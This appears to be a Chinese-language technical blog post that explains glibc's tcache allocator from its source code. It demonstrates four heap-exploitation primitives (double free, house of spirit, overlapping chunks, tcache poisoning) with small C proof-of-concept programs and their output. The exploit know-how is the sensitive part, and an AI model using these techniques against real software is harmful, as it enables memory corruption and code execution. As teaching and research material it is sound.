Pwn Heap With Tcache
前言
glibc 2.26 开始引入了 tcache , 相关的 commit 可以看 这里 。加入 tcache 对性能有比较大的提升,不过由于 tcache 的存在 ,一些利用方式的限制条件就少了许多。具体往下看。
相关文件位于
1
| https://gitee.com/hac425/blog_data/tree/master/tcache_pwn
|
修改自:https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache
源码分析
首先分析分析源码,看看 tcache 的工作原理
相关数据结构
1 2 3 4 5 6 7 8 9 10 11
| typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64 } tcache_perthread_struct;
|
tcache 也是使用 类似 bins 方式来管理 tcache 。
tcache_perthread_struct 是整个 tcache 的管理结构, 它的 entries 有 64 项
每一项由 相同大小的 chunk 通过 tcache_entry 使用单向链表链接(类似于fastbin的链接方式)。
counts 用于记录 entries 中每一项当前链入的 chunk 数目, 最多可以有 7 个 chunk。
tcache_entry 用于链接 chunk 的结构体, 其中就一个 next 指针,指向下一个相同大小的 chunk
基本操作
下面通过分析对 tcache 的两个基本操作理解上面结构体的作用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; // 增加到链表头部 ++(tcache->counts[tc_idx]); // 记录当前 bin 的 chunk数 } static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; }
|
tcache_put
用于把一个 chunk 放到 指定的 tcache->entries 里面去, tc_idx 通过 csize2tidx (nb) 计算得到 (nb是 chunk 的大小)。
它首先把 chunk+2*SIZE_SZ (就是除去 header 部分) 强制转换成 tcache_entry * 类型,然后插入到 tcache->entries[tc_idx] 的首部,最后把 tcache->counts[tc_idx] 加 1 ,表示新增了一个 chunk 到 该 表项。
tcache_get
根据 tc_idx 取出 tcache->entries[tc_idx] 的第一个chunk , 然后把 指针强制转换为 (void *)
这样就可以大概得到一个图

tcache->entries 的每一项通过 单向链表链接 chunk 。
tcache_entry 和 malloc chunk 是重叠的, tcache_entry->next 和 chunk->fd 是一个位置。
tcache in malloc
__libc_malloc
malloc 的入口点是 __libc_malloc (做了一些注释)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| __libc_malloc (size_t bytes) { ............. ............. ............. #if USE_TCACHE /* int_free also calls request2size, be careful to not pad twice. */ size_t tbytes; checked_request2size (bytes, tbytes); // tbytes 为 bytes请求的 转换后得到的 chunk 的 size size_t tc_idx = csize2tidx (tbytes); // 根据大小 tbytes , 找到 tcache->entries 索引 MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */ && tcache && tcache->entries[tc_idx] != NULL) // 如果 tcache->entries[tc_idx] 有 chunk ,就返回 { return tcache_get (tc_idx); // 调用 tcache_get 拿到 chunk 然后返回 } DIAG_POP_NEEDS_COMMENT; #endif if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes);
|
首先判断 tcache->entries[tc_idx] 里面有没有 chunk ,如果有就直接返回,否则进入 _int_malloc 分配内存。
下面看看 _int_malloc (主要看 tcache 处理的部分)
_int_malloc
处理fastbin
首先是把 请求的 size 转换成 实际 malloc 内部的 size ,然后定义了一个宏
1 2 3 4 5 6 7 8 9 10
| // 从 fastbin里面移除 pp #define REMOVE_FB(fb, victim, pp) \ do \ { \ victim = pp; \ if (victim == NULL) \ break; \ } \ while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \ != victim); \
|
用于多线程的中从 fastbin 里面移除一个 chunk.
然后进入分配的流程, 首先如果 size 在 fastbin 的范围内进入, fastbin 分配的流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp; victim = *fb; if (victim != NULL) { if (SINGLE_THREAD_P) *fb = victim->fd; else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr ("malloc(): memory corruption (fast)"); check_remalloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) // 把该 fastbin 里面其他的 bin 放到 tcache 里面 { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks. */ while (tcache->counts[tc_idx] < mp_.tcache_count // 判断 tcache 中指定 bin 中 chunk 是否超过 7 && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P) *fb = tc_victim->fd; else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }
|
- 在 相应
fastbin 找到 合适的 chunk 后,就把 该 chunk 从 fastbin 里面拿下来
- 然后 把相应
fastbin 里面剩下的 chunk 全都放到 tcache 里面 , 直到 tcache->entries[tc_idx] 满了 (已经有 7 个 chunk 了,即 tcache->counts[tc_idx] = mp_.tcache_count = 7 )。
- 最后在返回一开始拿到的
chunk 给用户
如果 fastbin 不能分配,则进入 smallbin 的分配流程
处理 smallbin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; // 找到 chunk , 从 smallbin拿下来准备返回给用户 if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, // 把指定 smallbin 里面的 bin扔到 tcache里面 stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
|
和 fastbin 是类似的操作, 在 size 对应的 smallbin 里面找到 chunk 后
把这个 chunk 从链表上取下来
然后把该 smallbin 里面剩下的 bin 放入到 tcache , 直到 tcache->entries[tc_idx] 满.
如果 smallbin 也没能分配,进入 unsorted bin
遍历unsorted bin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { .................... .................... .................... /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); // 把 bin 从 unsorted bin 里面拿下来后,先放入 tcache #if USE_TCACHE // 如果unsorted bin 的大小正好,扔到 tcache ,然后继续遍历 We may return one of these chunks later. */ if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else { #endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; #if USE_TCACHE } #endif } //大小不刚好等于需要的size 的话,就把 bin放到 相应的 bin 里面。 ....................................... ....................................... ....................................... #if USE_TCACHE //如果有 大小适配的 unsorted bin 进入了 tcache(return_cached=1) 同时 mp_.tcache_unsorted_limit > 0 默认为 0 ,不会进入分支, 继续遍历 ++tcache_unsorted_count; if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) { return tcache_get (tc_idx); } #endif ....................................... ....................................... ....................................... } // end of while ((victim = unsorted_chunks (av)->b //遍历完 unsorted bin 后 ,根据 return_cached 判断 tcache 里面是否有合适的 chunk #if USE_TCACHE /* If all the small chunks we found ended up cached, return one now. */ if (return_cached) { return tcache_get (tc_idx); } #endif
|
在遍历 unsorted bin 的时候, 如果找到大小刚好满足的 bin , 不会立刻返回,而是把这个 bin 放入 tcache 里面,并且设置 return_cached=1 ,表示 有 大小适配的 unsorted bin 进入了 tcache
如果大小不是正好满足需要,就走一般的流程,把 bin 放到相应的 smallbin 或者 largebin 里面
遍历 unsorted bin 的最后,会根据 return_cached 判断是否有 大小适配的 unsorted bin 进入了 tcache , mp_.tcache_unsorted_limit 默认为 0 ,所以不会进入分支, 这样就会把所有的 unsorted bin 都放入到 tcache。
遍历完 unsorted bin 后 ,根据 return_cached 判断 tcache 里面是否有合适的 chunk ,有的话就可以返回了
否则 large bin ,top chunk 来分配。
tcache in free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| static void _int_free (mstate av, mchunkptr p, int have_lock) { size = chunksize (p); check_inuse_chunk(av, p); #if USE_TCACHE { size_t tc_idx = csize2tidx (size); // tcache bin 的索引 if (tcache && tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin && tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量 { tcache_put (p, tc_idx); return; } } #endif
|
删掉了一些没影响的代码
- 首先就是获取要释放的
chunk 的 size , 然后判断 size 是否符和规范(是否对齐之类的 check ), 如果合规就看 tcache->counts[tc_idx] 是否已经满了 ,如果没有满就直接放入 tcache , 然后返回。
- 否则就和没有
tcache 是一样的处理
总结
在 free 的时候,会检测 p 的下一个 chunk( next ) 的 PREV_INUSE 位,但是如果 chunk 被放入了 tcache ,next->PREV_INUSE 位不会被修改 ,所以还是会标志为 in_used . 所以我们可以 多次释放同一个 chunk .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| size = chunksize (p); if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer"); if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) malloc_printerr ("free(): invalid size"); check_inuse_chunk(av, p); // 通过下一个 chunk 的 pre_inused 位,判断当前 chunk 释放已经被释放 #if USE_TCACHE { size_t tc_idx = csize2tidx (size); // tcache bin 的索引 if (tcache && tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin && tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量 { tcache_put (p, tc_idx); // 如果 chunk 被放入了 tcache ,next->pre_inuse 不会被修改。 return; } } #endif
|
同时在 malloc 的时候 ,先尝试 tcache 分配
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| void * __libc_malloc (size_t bytes) { #if USE_TCACHE size_t tbytes; checked_request2size (bytes, tbytes); size_t tc_idx = csize2tidx (tbytes); if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL) { return tcache_get (tc_idx); } #endif
|
这也使得很多安全检测不会被执行。
测试
搭建环境
编译glibc
首先编译一个开启 tcache 的 glibc ,我用的是 glibc-2.27
1 2 3 4 5 6
| tar xvf glibc-2.27.tar.bz2 mkdir gcc227_build cd gcc227_build/ ../glibc-2.27/configure --prefix=/usr/local/glibc227 sudo mkdir /usr/local/glibc227 sudo make install
|
可以参考
1
| http://www.sysnote.org/2015/08/25/use-new-glibc/
|
下载测试代码
下载
1
| https://github.com/andigena/ptmalloc-fanzine/tree/master/05-tcache
|
作为测试代码。
修改 Makefile
1 2 3 4 5 6
| PROGRAMS = tcache_poisoning overlapping_chunks_by_caching tcache_house_of_spirit tcache_dup CFLAGS += -Wpedantic -std=gnu11 -g -Wl,--rpath=/usr/local/glibc227/lib -Wl,--dynamic-linker=/usr/local/glibc227/lib/ld-linux-x86-64.so.2 -lpthread all: $(PROGRAMS) clean: rm -f $(PROGRAMS)
|
增加 gcc 的参数
1
| -Wl,--rpath=/usr/local/glibc227/lib -Wl,--dynamic-linker=/usr/local/glibc227/lib/ld-linux-x86-64.so.2
|
使得程序使用 我们编译好的 libc 来链接程序。
参考
1
| https://blog.csdn.net/jefbai/article/details/47859335
|
tcache_dup
介绍
通过 free 2次同一个 chunk , 使得可以让两个指针分配到同一块内存
代码
1 2 3 4 5 6 7 8 9 10
| #include <stdlib.h> #include <stdio.h> #include <stdint.h> int main() { void* p1 = malloc(0x40); free(p1); free(p1); printf("Next allocated memory will be same: %p %p\n", malloc(0x40), malloc(0x40)); }
|
- 通过
_int_free 的源码我们知道, 在 free 的时候,会检测 p 的下一个 chunk ( next ) 的 PREV_INUSE 位
- 然后如果
tcache 指定项没有满就把 chunk 加入 tcache
- 但是如果
chunk 被放入了 tcache ,next->PREV_INUSE 位不会被修改 ,所以还是会标志为 in_used . 所以我们可以 多次释放同一个 chunk .
所以我们释放两次 p1 , 此时 tcache 里面 size 为 0x50 ( chunk 大小) 的项中就有 两个 一样 chunk

然后分配两次一样大小的 chunk, malloc 会先用 tcache 分配,就会拿到两个一样的 chunk
1 2
| 01:38 haclh@ubuntu:tcache_pwn $ ./tcache_dup Next allocated memory will be same: 0x602260 0x602260
|
可以看到分配到了两个地址一样的 chunk .
tcache_house_of_spirit
介绍
通过伪造 size ,然后 free 掉这个 伪造的 chunk , 然后再分配 size 大小的 chunk , 就可以分配到指定位置。
代码
首先看看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> int main(int argc, const char* argv[]) { size_t fake_chunk_and_more[64]; memset(fake_chunk_and_more, 'A', sizeof(fake_chunk_and_more)); printf("stack buf: %p\n", (void *)fake_chunk_and_more); char* fake_chunk = (char * )fake_chunk_and_more; *(long *)(fake_chunk + sizeof(long)) = 0x110; *(long *)(fake_chunk + 0x110 + sizeof(long)) = 0x40; // 设置 pre_inused 位 char *mem = fake_chunk + 2*sizeof(long); free(mem); void *mem2 = malloc(0x100); printf("malloc(0x100) returned: %p\n", mem2); return 0; }
|
就是在栈上面(用栈只是为了方便)伪造了 一个 0x110 大小 chunk,

然后把它释放掉,他就会进入 tcache ,然后分配 0x110 的 chunk 就可以 分配到 fake_chunk_and_more 的地址

可以看到分配到了fake_chunk_and_more .
调试过程的内存状态

熟悉 malloc 管理机制的老哥们可以比较奇怪,这里把 next_chunk->pre_inused = 0 ( size = 0x40 ) 。
在 源码里面是有通过 check_inuse_chunk 检测是否 double free 的 代码的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| _int_free (mstate av, mchunkptr p, int have_lock) { size = chunksize (p); .................................................... .................................................... check_inuse_chunk(av, p); #if USE_TCACHE { size_t tc_idx = csize2tidx (size); // tcache bin 的索引 if (tcache && tc_idx < mp_.tcache_bins // 64 ,最多 64 个 bin && tcache->counts[tc_idx] < mp_.tcache_count) // 7 ,tcache->counts 存放每个 bin 已经存放的 chunk数量 { tcache_put (p, tc_idx); return; } } #endif
|
但是从 ida 里面去看,居然不见了,校验 chunk 的 size 和 指针 后就直接进入 tcache 的处理的流程, 于是这里就算设置 下一个chunk 的 next_chunk->pre_inuse = 0 ,也不会出现 crash 。

overlapping_chunks_by_caching
介绍
overlapping_chunks 这种技术非常经典了, 不过在 tcache 里面就非常的简单了, 修改 chunk 的 size 为 fake_size , 然后 free 掉它,就会进入 fake_size 对应的 tcache , 然后在 分配 fake_size 的 chunk 就可以拿到这个 chunk , overlap chunk
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> int main(int argc, const char* argv[]) { char *mem = malloc(0x48); char *sentry = malloc(0x18); memset(sentry, 'b', 0x10); printf("mem: %p, sentry: %p\n",mem, sentry); printf("sentry content: %s\n", sentry); *(long* )(mem - sizeof(long)) = 0x110; // 设置 chunk->size = 0x110 free(mem); char *mem2 = malloc(0x100); // 分配一个 0x110 的chunk memset(mem2, 'a', 0x100); printf("mem2: %p\n", mem2); printf("sentry content: %s\n", sentry); return 0; }
|
通过修改 mem 所在 chunk 的 size 为 0x110

然后释放掉他 ,然后分配一个 0x110 的 chunk ,我们就会再次分配到它。此时 mem2 的 chunk 包含了 sentry 的 chunk

调试过程

可以看到 mem2 所在 chunk 的大小为 0x110, 而 sentry 和 mem2 相距 0x50 于是可以通过 mem2 修改 sentry 的内容
tcache_poisoning
介绍
通过修改 free 状态的 tcache 里面的 chunk 的 fd (其实就是 tcache_entry->next ) ,可以分配到任意地址
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <malloc.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> int main(int argc, const char* argv[]) { size_t target[6]; printf("stack: %p\n",target); char *mem = malloc(0x48); free(mem); *(long *)(mem) = (long)target; char *mem1 = malloc(0x48); char *mem2 = malloc(0x48); printf("mem2: %p\n", mem2); return 0; }
|
分配一个 0x50 的 chunk 然后释放它,进入 tcache ,然后修改 fd 为 target

然后分配两次 0x50 的 chunk 就可以分配到 target

成功分配到了 栈上面。
其实 fd 为任意地址都行,原因在于 tcache_get 直接从 tcache->entries 里面拿 chunk , 而不检查 拿到的 chunk 是否合法。
同时 在 malloc 分配内存时,首先使用 tcache ,而它判断 tcache 有没有可以分配的 chunk , 是直接判断指定项有没有指针。
1 2 3 4 5 6 7 8 9
| DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL) // 根据tcache->entries[tc_idx]是否为空判断是否有chunk { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif
|
总结
tcache 的引入使得 heap 相关的漏洞的利用非常的简单了。
简单的原因主要在于 tcache 里面没有做什么检查, 同时还会优先使用这使得原来 malloc 里面的 check 也没有了作用。
free 的话 释放内存如果大小在 tcache 的范围内, 只检测 size 和 指针 是否合法,而且检测非常弱。
malloc 时 也是优先使用 tcache , 只要 tcache->entries[tc_idx] 非空就可以从 tcache 分配。
参考
http://tukan.farm/2017/07/08/tcache/
https://www.anquanke.com/post/id/104760
本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/06/03/Pwn-Heap-With-Tcache.html